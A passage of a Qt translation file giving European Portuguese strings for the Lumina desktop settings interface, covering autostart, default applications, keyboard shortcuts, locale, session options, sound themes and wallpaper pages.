gerais</translation>\n </message>\n <message>\n <location filename=\"../mainWindow.ui\" line=\"72\"/>\n <location filename=\"../mainWindow.ui\" line=\"75\"/>\n <source>Select monitor/desktop to configure</source>\n <translation>Selecione o monitor/área de trabalho a configurar</translation>\n </message>\n <message>\n <location filename=\"../mainWindow.cpp\" line=\"130\"/>\n <source>Unsaved Changes</source>\n <translation>Alterações por guardar</translation>\n </message>\n <message>\n <location filename=\"../mainWindow.cpp\" line=\"130\"/>\n <source>This page currently has unsaved changes, do you wish to save them now?</source>\n <translation>Esta página tem alterações não guardadas. Deseja guardar agora?</translation>\n </message>\n <message>\n <location filename=\"../mainWindow.cpp\" line=\"132\"/>\n <source>Yes</source>\n <translation>Sim</translation>\n </message>\n <message>\n <location filename=\"../mainWindow.cpp\" line=\"133\"/>\n <source>No</source>\n <translation>Não</translation>\n </message>\n <message>\n <location filename=\"../mainWindow.cpp\" line=\"134\"/>\n <source>Cancel</source>\n <translation>Cancelar</translation>\n </message>\n</context>\n<context>\n <name>page_autostart</name>\n <message>\n <location filename=\"../pages/page_autostart.ui\" line=\"14\"/>\n <source>Form</source>\n <translation>Formulário</translation>\n </message>\n <message>\n <location filename=\"../pages/page_autostart.ui\" line=\"39\"/>\n <source>Add New Startup Service</source>\n <translation>Adicionar novo serviço de arranque automático</translation>\n </message>\n <message>\n <location filename=\"../pages/page_autostart.ui\" line=\"75\"/>\n <source>Application</source>\n <translation>Aplicação</translation>\n </message>\n <message>\n <location filename=\"../pages/page_autostart.ui\" line=\"85\"/>\n <source>Binary</source>\n <translation>Binário</translation>\n </message>\n <message>\n <location filename=\"../pages/page_autostart.ui\" line=\"95\"/>\n <source>File</source>\n <translation>Ficheiro</translation>\n </message>\n <message>\n <location filename=\"../pages/page_autostart.cpp\" line=\"66\"/>\n <source>Startup Services</source>\n <translation>Serviços de arranque</translation>\n </message>\n <message>\n <location filename=\"../pages/page_autostart.cpp\" line=\"133\"/>\n <source>Select Binary</source>\n <translation>Selecionar binário</translation>\n </message>\n <message>\n <location filename=\"../pages/page_autostart.cpp\" line=\"133\"/>\n <source>Application Binaries (*)</source>\n <translation>Binários de aplicações (*)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_autostart.cpp\" line=\"136\"/>\n <source>Invalid Binary</source>\n <translation>Binário inválido</translation>\n </message>\n <message>\n <location filename=\"../pages/page_autostart.cpp\" line=\"136\"/>\n <source>The selected file is not executable!</source>\n <translation>O ficheiro selecionado não é executável!</translation>\n </message>\n <message>\n <location filename=\"../pages/page_autostart.cpp\" line=\"150\"/>\n <source>Select File</source>\n <translation>Selecionar ficheiro</translation>\n </message>\n <message>\n <location filename=\"../pages/page_autostart.cpp\" line=\"150\"/>\n <source>All Files (*)</source>\n <translation>Todos os ficheiros (*)</translation>\n </message>\n</context>\n<context>\n <name>page_compton</name>\n <message>\n <location filename=\"../pages/page_compton.ui\" line=\"14\"/>\n <source>Form</source>\n <translation>Formulário</translation>\n </message>\n <message>\n <location filename=\"../pages/page_compton.ui\" line=\"32\"/>\n <source>Disable Compositing Manager (session restart required)</source>\n <translation>Desativar gestor de composição (tem que reiniciar a sessão)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_compton.ui\" line=\"39\"/>\n <source>Only use compositing with GPU acceleration </source>\n <translation>Apenas utilizar composição com aceleração por GPU </translation>\n </message>\n <message>\n <location filename=\"../pages/page_compton.cpp\" line=\"37\"/>\n <source>Window Effects</source>\n <translation>Efeitos de janela</translation>\n </message>\n</context>\n<context>\n <name>page_defaultapps</name>\n <message>\n <location filename=\"../pages/page_defaultapps.ui\" line=\"14\"/>\n <source>Form</source>\n <translation>Formulário</translation>\n </message>\n <message>\n <location filename=\"../pages/page_defaultapps.ui\" line=\"166\"/>\n <source>Advanced</source>\n <translation>Avançado</translation>\n </message>\n <message>\n <location filename=\"../pages/page_defaultapps.ui\" line=\"189\"/>\n <source>Specific File Types</source>\n <translation>Tipos específicos de ficheiros</translation>\n </message>\n <message>\n <location filename=\"../pages/page_defaultapps.ui\" line=\"226\"/>\n <source>Type/Group</source>\n <translation>Tipo/Grupo</translation>\n </message>\n <message>\n <location filename=\"../pages/page_defaultapps.ui\" line=\"231\"/>\n <source>Default Application</source>\n <translation>Aplicação padrão</translation>\n </message>\n <message>\n <location filename=\"../pages/page_defaultapps.ui\" line=\"236\"/>\n <source>Description</source>\n <translation>Descrição</translation>\n </message>\n <message>\n <location filename=\"../pages/page_defaultapps.ui\" line=\"246\"/>\n <source>Clear</source>\n <translation>Limpar</translation>\n </message>\n <message>\n <location filename=\"../pages/page_defaultapps.ui\" line=\"269\"/>\n <source>Set App</source>\n <translation>Definir aplicação</translation>\n </message>\n <message>\n <location filename=\"../pages/page_defaultapps.ui\" line=\"279\"/>\n <source>Set Binary</source>\n <translation>Definir binário</translation>\n </message>\n <message>\n <location filename=\"../pages/page_defaultapps.ui\" line=\"39\"/>\n <source>Basic Settings</source>\n <translation>Definições básicas</translation>\n </message>\n <message>\n <location filename=\"../pages/page_defaultapps.ui\" line=\"58\"/>\n <source>Web Browser:</source>\n <translation>Navegador web:</translation>\n </message>\n <message>\n <location filename=\"../pages/page_defaultapps.ui\" line=\"81\"/>\n <source>E-Mail Client:</source>\n <translation>Cliente de e-mail:</translation>\n </message>\n <message>\n <location filename=\"../pages/page_defaultapps.ui\" line=\"108\"/>\n <source>File Manager:</source>\n <translation>Gestor de ficheiros:</translation>\n </message>\n <message>\n <location filename=\"../pages/page_defaultapps.ui\" line=\"121\"/>\n <source>Virtual Terminal:</source>\n <translation>Terminal virtual:</translation>\n </message>\n <message>\n <location filename=\"../pages/page_defaultapps.ui\" line=\"128\"/>\n <location filename=\"../pages/page_defaultapps.ui\" line=\"138\"/>\n <source>...</source>\n <translation>...</translation>\n </message>\n <message>\n <location filename=\"../pages/page_defaultapps.cpp\" line=\"42\"/>\n <source>Default Applications</source>\n <translation>Aplicações padrão</translation>\n </message>\n <message>\n <location filename=\"../pages/page_defaultapps.cpp\" line=\"152\"/>\n <source>Click to Set</source>\n <translation>Clique para definir</translation>\n </message>\n <message>\n <location filename=\"../pages/page_defaultapps.cpp\" line=\"88\"/>\n <source>%1 (%2)</source>\n <translation>%1 (%2)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_defaultapps.cpp\" line=\"272\"/>\n <source>Select Binary</source>\n <translation>Selecionar binário</translation>\n </message>\n <message>\n <location filename=\"../pages/page_defaultapps.cpp\" line=\"279\"/>\n <source>Invalid Binary</source>\n <translation>Binário inválido</translation>\n </message>\n <message>\n <location filename=\"../pages/page_defaultapps.cpp\" line=\"279\"/>\n <source>The selected binary is not executable!</source>\n <translation>O binário selecionado não é executável!</translation>\n </message>\n</context>\n<context>\n <name>page_fluxbox_keys</name>\n <message>\n <location filename=\"../pages/page_fluxbox_keys.ui\" line=\"34\"/>\n <source>Basic Editor</source>\n <translation>Editor básico</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_keys.ui\" line=\"44\"/>\n <source>Advanced Editor</source>\n <translation>Editor avançado</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_keys.ui\" line=\"107\"/>\n <source>Action</source>\n <translation>Ação</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_keys.ui\" line=\"112\"/>\n <source>Keyboard Shortcut</source>\n <translation>Atalho de teclado</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_keys.ui\" line=\"120\"/>\n <source>Modify Shortcut</source>\n <translation>Modificar atalho</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_keys.ui\" line=\"141\"/>\n <source>Clear Shortcut</source>\n <translation>Limpar atalho</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_keys.ui\" line=\"151\"/>\n <source>Apply Change</source>\n <translation>Aplicar alterações</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_keys.ui\" line=\"161\"/>\n <source>Change Key Binding:</source>\n <translation>Alterar associação de teclas:</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_keys.ui\" line=\"184\"/>\n <source>Note: Current key bindings need to be cleared and saved before they can be re-used.</source>\n <translation>Nota: as associações de teclado atuais tem ser ser removidas e guardadas antes de poderem ser reutilizadas.</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_keys.ui\" line=\"220\"/>\n <source>View Syntax Codes</source>\n <translation>Ver código de sintaxe</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_keys.ui\" line=\"244\"/>\n <source>&quot;Mod1&quot;:\tAlt key\n&quot;Mod4&quot;: \tWindows/Mac key\n&quot;Control&quot;:\tCtrl key</source>\n <translation>&quot;Mod1&quot;:\tTecla Alt\n&quot;Mod4&quot;: \tTecla Windows/Mac\n&quot;Control&quot;:\tTecla Ctrl</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_keys.cpp\" line=\"70\"/>\n <source>Keyboard Shortcuts</source>\n <translation>Atalhos de teclado</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_keys.cpp\" line=\"78\"/>\n <source>Audio Volume Up</source>\n <translation>Aumentar volume</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_keys.cpp\" line=\"79\"/>\n <source>Audio Volume Down</source>\n <translation>Reduzir volume</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_keys.cpp\" line=\"80\"/>\n <source>Screen Brightness Up</source>\n <translation>Aumentar brilho</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_keys.cpp\" line=\"81\"/>\n <source>Screen Brightness Down</source>\n <translation>Diminuir brilho</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_keys.cpp\" line=\"82\"/>\n <source>Take Screenshot</source>\n <translation>Obter captura de ecrã</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_keys.cpp\" line=\"83\"/>\n <source>Lock Screen</source>\n <translation>Bloquear ecrã</translation>\n </message>\n</context>\n<context>\n <name>page_fluxbox_settings</name>\n <message>\n <location filename=\"../pages/page_fluxbox_settings.ui\" line=\"14\"/>\n <source>Form</source>\n <translation>Formulário</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_settings.ui\" line=\"34\"/>\n <source>Simple Editor</source>\n <translation>Editor básico</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_settings.ui\" line=\"44\"/>\n <source>Advanced Editor</source>\n <translation>Editor avançado</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_settings.ui\" line=\"81\"/>\n <source>Number of Workspaces</source>\n <translation>Número de áreas de trabalho</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_settings.ui\" line=\"98\"/>\n <source>New Window Placement</source>\n <translation>Colocação de novas janelas</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_settings.ui\" line=\"108\"/>\n <source>Focus Policy</source>\n <translation>Política de foco</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_settings.ui\" line=\"118\"/>\n <source>Window Theme</source>\n <translation>Tema de janelas</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_settings.ui\" line=\"136\"/>\n <source>Window Theme Preview</source>\n <translation>Pré-visualização</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_settings.ui\" line=\"190\"/>\n <location filename=\"../pages/page_fluxbox_settings.cpp\" line=\"181\"/>\n <source>No Preview Available</source>\n <translation>Pré-visualização não disponível</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_settings.cpp\" line=\"70\"/>\n <source>Window Manager Settings</source>\n <translation>Definições do gestor de janelas</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_settings.cpp\" line=\"75\"/>\n <source>Click To Focus</source>\n <translation>Clique para obter foco</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_settings.cpp\" line=\"76\"/>\n <source>Active Mouse Focus</source>\n <translation type=\"unfinished\">Ativar Foco do Mouse</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_settings.cpp\" line=\"77\"/>\n <source>Strict Mouse Focus</source>\n <translation type=\"unfinished\">Restringir Foco do Mouse</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_settings.cpp\" line=\"80\"/>\n <source>Align in a Row</source>\n <translation>Alinhar em linha</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_settings.cpp\" line=\"81\"/>\n <source>Align in a Column</source>\n <translation>Alinhar em coluna</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_settings.cpp\" line=\"82\"/>\n <source>Cascade</source>\n <translation>Cascata</translation>\n </message>\n <message>\n <location filename=\"../pages/page_fluxbox_settings.cpp\" line=\"83\"/>\n <source>Underneath Mouse</source>\n <translation>Por baixo do rato</translation>\n </message>\n</context>\n<context>\n <name>page_interface_desktop</name>\n <message>\n <location filename=\"../pages/page_interface_desktop.ui\" line=\"14\"/>\n <source>Form</source>\n <translation>Formulário</translation>\n </message>\n <message>\n <location filename=\"../pages/page_interface_desktop.ui\" line=\"26\"/>\n <source>Embedded Utilities</source>\n <translation>Utilitários incorporados</translation>\n </message>\n <message>\n <location filename=\"../pages/page_interface_desktop.ui\" line=\"79\"/>\n <source>Display Desktop Folder Contents</source>\n <translation>Mostrar conteúdo da pasta &apos;Desktop&apos;</translation>\n </message>\n <message>\n <location filename=\"../pages/page_interface_desktop.ui\" line=\"86\"/>\n <source>Display Removable Media Icons</source>\n <translation>Mostrar ícones de dispositivos amovíveis</translation>\n </message>\n <message>\n <location filename=\"../pages/page_interface_desktop.cpp\" line=\"56\"/>\n <source>Desktop Settings</source>\n <translation>Definições da área de trabalho</translation>\n </message>\n</context>\n<context>\n <name>page_interface_menu</name>\n <message>\n <location filename=\"../pages/page_interface_menu.ui\" line=\"14\"/>\n <source>Form</source>\n <translation>Formulário</translation>\n </message>\n <message>\n <location filename=\"../pages/page_interface_menu.ui\" line=\"38\"/>\n <source>Context Menu Plugins</source>\n <translation>Plugins para menu de contexto</translation>\n </message>\n <message>\n <location filename=\"../pages/page_interface_menu.cpp\" line=\"46\"/>\n <source>Desktop Settings</source>\n <translation>Definições da área de trabalho</translation>\n </message>\n</context>\n<context>\n <name>page_interface_panels</name>\n <message>\n <location filename=\"../pages/page_interface_panels.ui\" line=\"14\"/>\n <source>Form</source>\n <translation>Formulário</translation>\n </message>\n <message>\n <location filename=\"../pages/page_interface_panels.ui\" line=\"46\"/>\n <source>Panel</source>\n <translation>Painel</translation>\n </message>\n <message>\n <location filename=\"../pages/page_interface_panels.ui\" line=\"96\"/>\n <source>Profile</source>\n <translation>Perfil</translation>\n </message>\n <message>\n <location filename=\"../pages/page_interface_panels.cpp\" line=\"59\"/>\n <source>Desktop Settings</source>\n <translation>Definições da área de trabalho</translation>\n </message>\n <message>\n <location filename=\"../pages/page_interface_panels.cpp\" line=\"110\"/>\n <source>No Panels</source>\n <translation>Não tem painéis</translation>\n </message>\n <message>\n <location filename=\"../pages/page_interface_panels.cpp\" line=\"136\"/>\n <source>Custom Profiles</source>\n <translation>Perfis personalizados</translation>\n </message>\n <message>\n <location filename=\"../pages/page_interface_panels.cpp\" line=\"136\"/>\n <source>Copy Screen</source>\n <translation>Copiar ecrã</translation>\n </message>\n <message>\n <location filename=\"../pages/page_interface_panels.cpp\" line=\"143\"/>\n <source>Apply</source>\n <translation>Aplicar</translation>\n </message>\n <message>\n <location filename=\"../pages/page_interface_panels.cpp\" line=\"144\"/>\n <source>Delete</source>\n <translation>Apagar</translation>\n </message>\n <message>\n <location filename=\"../pages/page_interface_panels.cpp\" line=\"149\"/>\n <location filename=\"../pages/page_interface_panels.cpp\" line=\"204\"/>\n <source>Create Profile</source>\n <translation>Criar perfil</translation>\n </message>\n <message>\n <location filename=\"../pages/page_interface_panels.cpp\" line=\"204\"/>\n <source>Name:</source>\n <translation>Nome:</translation>\n </message>\n</context>\n<context>\n <name>page_main</name>\n <message>\n <location filename=\"../pages/page_main.ui\" line=\"14\"/>\n <source>Form</source>\n <translation>Formulário</translation>\n </message>\n <message>\n <location filename=\"../pages/page_main.ui\" line=\"32\"/>\n <source>Search for....</source>\n <translation>Pesquisar por...</translation>\n </message>\n <message>\n <location filename=\"../pages/page_main.cpp\" line=\"56\"/>\n <source>Interface Configuration</source>\n <translation>Configuração de interface</translation>\n </message>\n <message>\n <location filename=\"../pages/page_main.cpp\" line=\"60\"/>\n <source>Appearance</source>\n <translation>Aparência</translation>\n </message>\n <message>\n <location filename=\"../pages/page_main.cpp\" line=\"64\"/>\n <source>Desktop Defaults</source>\n <translation>Predefinições da área de trabalho</translation>\n </message>\n <message>\n <location filename=\"../pages/page_main.cpp\" line=\"68\"/>\n <source>User Settings</source>\n <translation>Definições do utilizador</translation>\n </message>\n <message>\n <location filename=\"../pages/page_main.cpp\" line=\"72\"/>\n <source>System Settings</source>\n <translation>Definições do sistema</translation>\n </message>\n <message>\n <location filename=\"../pages/page_main.cpp\" line=\"158\"/>\n <source>Desktop Settings</source>\n <translation>Definições da área de trabalho</translation>\n </message>\n</context>\n<context>\n <name>page_session_locale</name>\n <message>\n <location filename=\"../pages/page_session_locale.ui\" line=\"14\"/>\n <source>Form</source>\n <translation>Formulário</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_locale.ui\" line=\"32\"/>\n <source>System localization settings (restart required)</source>\n <translation>Definições de localização (tem que reinciiar)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_locale.ui\" line=\"39\"/>\n <source>Language</source>\n <translation>Idioma</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_locale.ui\" line=\"49\"/>\n <source>Messages</source>\n <translation>Mensagens</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_locale.ui\" line=\"59\"/>\n <source>Time</source>\n <translation>Hora</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_locale.ui\" line=\"69\"/>\n <source>Numeric</source>\n <translation>Números</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_locale.ui\" line=\"79\"/>\n <source>Monetary</source>\n <translation>Moeda</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_locale.ui\" line=\"89\"/>\n <source>Collate</source>\n <translation type=\"unfinished\"></translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_locale.ui\" line=\"99\"/>\n <source>CType</source>\n <translation>CType</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_locale.cpp\" line=\"47\"/>\n <source>Desktop Settings</source>\n <translation>Definições da área de trabalho</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_locale.cpp\" line=\"91\"/>\n <source>System Default</source>\n <translation>Predefinições do sistema</translation>\n </message>\n</context>\n<context>\n <name>page_session_options</name>\n <message>\n <location filename=\"../pages/page_session_options.ui\" line=\"14\"/>\n <source>Form</source>\n <translation>Formulário</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.ui\" line=\"34\"/>\n <source>Enable numlock on startup</source>\n <translation>Ativar numlock ao iniciar</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.ui\" line=\"41\"/>\n <source>Play chimes on startup</source>\n <translation>Reproduzir som ao iniciar</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.ui\" line=\"48\"/>\n <source>Play chimes on exit</source>\n <translation>Reproduzir som ao sair</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.ui\" line=\"55\"/>\n <source>Automatically create/remove desktop symlinks for applications that are installed/removed</source>\n <translation>Criar/remover ligações simbólicas à área de trabalho para aplicações que são instaladas/desinstaladas</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.ui\" line=\"58\"/>\n <source>Manage desktop app links</source>\n <translation>Gerir ligações da área de trabalho</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.ui\" line=\"65\"/>\n <source>Show application crash data</source>\n <translation>Mostrar dados de erros das aplicações</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.ui\" line=\"74\"/>\n <source>Change User Icon</source>\n <translation>Alterar ícone do utilizador</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.ui\" line=\"112\"/>\n <source>Time Format:</source>\n <translation>Formato de hora:</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.ui\" line=\"124\"/>\n <location filename=\"../pages/page_session_options.ui\" line=\"168\"/>\n <source>View format codes</source>\n <translation>Ver códigos de formato</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.ui\" line=\"139\"/>\n <location filename=\"../pages/page_session_options.ui\" line=\"183\"/>\n <source>Sample:</source>\n <translation>Exemplo:</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.ui\" line=\"156\"/>\n <source>Date Format:</source>\n <translation>Formato de data:</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.ui\" line=\"203\"/>\n <source>Display Format</source>\n <translation>Formato de exibição</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.ui\" line=\"220\"/>\n <source>Window Manager</source>\n <translation>Gestor de janelas</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.ui\" line=\"248\"/>\n <source>Reset Desktop Settings</source>\n <translation>Repor definições da área de trabalho</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.ui\" line=\"267\"/>\n <source>Return to system defaults</source>\n <translation>Repor predefinições do sistema</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.ui\" line=\"274\"/>\n <source>Return to Lumina defaults</source>\n <translation>Repor predefinições de Lumina</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"18\"/>\n <source>Time (Date as tooltip)</source>\n <translation>Hora (data como dica)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"19\"/>\n <source>Date (Time as tooltip)</source>\n <translation>Data (hora como dica)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"20\"/>\n <source>Time first then Date</source>\n <translation>Horas e depois data</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"21\"/>\n <source>Date first then Time</source>\n <translation>Data e depois horas</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"60\"/>\n <source>Window manager</source>\n <translation>Gestor de janelas</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"93\"/>\n <source>Desktop Settings</source>\n <translation>Definições da área de trabalho</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"174\"/>\n <source>Select an image</source>\n <translation>Selecionar uma imagem</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"175\"/>\n <source>Images</source>\n <translation>Imagens</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"179\"/>\n <source>Reset User Image</source>\n <translation>Repor imagem do utilizador</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"179\"/>\n <source>Would you like to reset the user image to the system default?</source>\n <translation>Você gostaria de redefinir a imagem do usuário para o padrão do sistema?</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"218\"/>\n <source>Valid Time Codes:</source>\n <translation>Códigos de hora válidos:</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"219\"/>\n <source>%1: Hour without leading zero (1)</source>\n <translation>%1: hora sem zero à esquerda (1)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"220\"/>\n <source>%1: Hour with leading zero (01)</source>\n <translation>%1: hora com zero à esquerda (01)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"221\"/>\n <source>%1: Minutes without leading zero (2)</source>\n <translation>%1: minutos sem zero à esquerda (2)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"222\"/>\n <source>%1: Minutes with leading zero (02)</source>\n <translation>%1: minutos com zero à esquerda (02)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"223\"/>\n <source>%1: Seconds without leading zero (3)</source>\n <translation>%1: segundos sem zero à esquerda (3)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"224\"/>\n <source>%1: Seconds with leading zero (03)</source>\n <translation>%1: segundos com zero à esquerda (03)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"225\"/>\n <source>%1: AM/PM (12-hour) clock (upper or lower case)</source>\n <translation>%1: relógio AM/PM (12 horas) (maiúsculo ou minúsculo)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"226\"/>\n <source>%1: Timezone</source>\n <translation>%1: Fuso horário</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"227\"/>\n <source>Time Codes</source>\n <translation>Códigos de hora</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"241\"/>\n <source>Valid Date Codes:</source>\n <translation>Códigos de data válidos:</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"242\"/>\n <source>%1: Numeric day without a leading zero (1)</source>\n <translation>%1: dia numérico sem zero à esquerda (1)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"243\"/>\n <source>%1: Numeric day with leading zero (01)</source>\n <translation>%1: dia numérico com zero à esquerda (01)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"244\"/>\n <source>%1: Day as abbreviation (localized)</source>\n <translation>%1: nome abreviado do dia (traduzido)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"245\"/>\n <source>%1: Day as full name (localized)</source>\n <translation>%1: nome completo do dia (traduzido)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"246\"/>\n <source>%1: Numeric month without leading zero (2)</source>\n <translation>%1: número do mês sem zero à esquerda (2)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"247\"/>\n <source>%1: Numeric month with leading zero (02)</source>\n <translation>%1: número do mês com zero à esquerda (02)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"248\"/>\n <source>%1: Month as abbreviation (localized)</source>\n <translation>%1: nome abreviado do mês (traduzido)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"249\"/>\n <source>%1: Month as full name (localized)</source>\n <translation>%1: nome completo do mês (traduzido)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"250\"/>\n <source>%1: Year as 2-digit number (15)</source>\n <translation>%1: ano com 2 dígitos (15)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"251\"/>\n <source>%1: Year as 4-digit number (2015)</source>\n <translation>%1: ano com 4 dígitos (2015)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"252\"/>\n <source>Text may be contained within single-quotes to ignore replacements</source>\n <translation>O texto pode conter dentro de aspas simples para ignorar substituições</translation>\n </message>\n <message>\n <location filename=\"../pages/page_session_options.cpp\" line=\"253\"/>\n <source>Date Codes</source>\n <translation>Códigos de data</translation>\n </message>\n</context>\n<context>\n <name>page_soundtheme</name>\n <message>\n <location filename=\"../pages/page_soundtheme.ui\" line=\"14\"/>\n <source>Form</source>\n <translation>Formulário</translation>\n </message>\n <message>\n <location filename=\"../pages/page_soundtheme.ui\" line=\"22\"/>\n <location filename=\"../pages/page_soundtheme.ui\" line=\"67\"/>\n <location filename=\"../pages/page_soundtheme.ui\" line=\"112\"/>\n <source>Enabled</source>\n <translation>Ativado</translation>\n </message>\n <message>\n <location filename=\"../pages/page_soundtheme.ui\" line=\"36\"/>\n <location filename=\"../pages/page_soundtheme.ui\" line=\"81\"/>\n <location filename=\"../pages/page_soundtheme.ui\" line=\"126\"/>\n <source>TextLabel</source>\n <translation>Texto</translation>\n </message>\n <message>\n <location filename=\"../pages/page_soundtheme.ui\" line=\"56\"/>\n <source>Set Startup Audio</source>\n <translation>Definir som de arranque</translation>\n </message>\n <message>\n <location filename=\"../pages/page_soundtheme.ui\" line=\"101\"/>\n <source>Set Logout Audio</source>\n <translation>Definir som de saída</translation>\n </message>\n <message>\n <location filename=\"../pages/page_soundtheme.ui\" line=\"146\"/>\n <source>Set Battery Audio</source>\n <translation>Definir som de bateria</translation>\n </message>\n <message>\n <location filename=\"../pages/page_soundtheme.cpp\" line=\"40\"/>\n <source>Sound Themes</source>\n <translation>Temas sonoros</translation>\n </message>\n <message>\n <location filename=\"../pages/page_soundtheme.cpp\" line=\"73\"/>\n <source>Select Startup Sound</source>\n <translation>Selecionar som de arranque</translation>\n </message>\n <message>\n <location filename=\"../pages/page_soundtheme.cpp\" line=\"83\"/>\n <source>Select Logout Sound</source>\n <translation>Selecionar som de saída</translation>\n </message>\n <message>\n <location filename=\"../pages/page_soundtheme.cpp\" line=\"93\"/>\n <source>Select Low Battery Sound</source>\n <translation>Selecionar som de bateria fraca</translation>\n </message>\n</context>\n<context>\n <name>page_wallpaper</name>\n <message>\n <location filename=\"../pages/page_wallpaper.ui\" line=\"14\"/>\n <source>Form</source>\n <translation>Formulário</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.ui\" line=\"90\"/>\n <source>Single Background</source>\n <translation>Imagem única</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.ui\" line=\"100\"/>\n <source>Rotate Background</source>\n <translation>Diversas imagens</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.ui\" line=\"107\"/>\n <source> Minutes</source>\n <translation> minutos</translation>\n </message>\n <message>\n 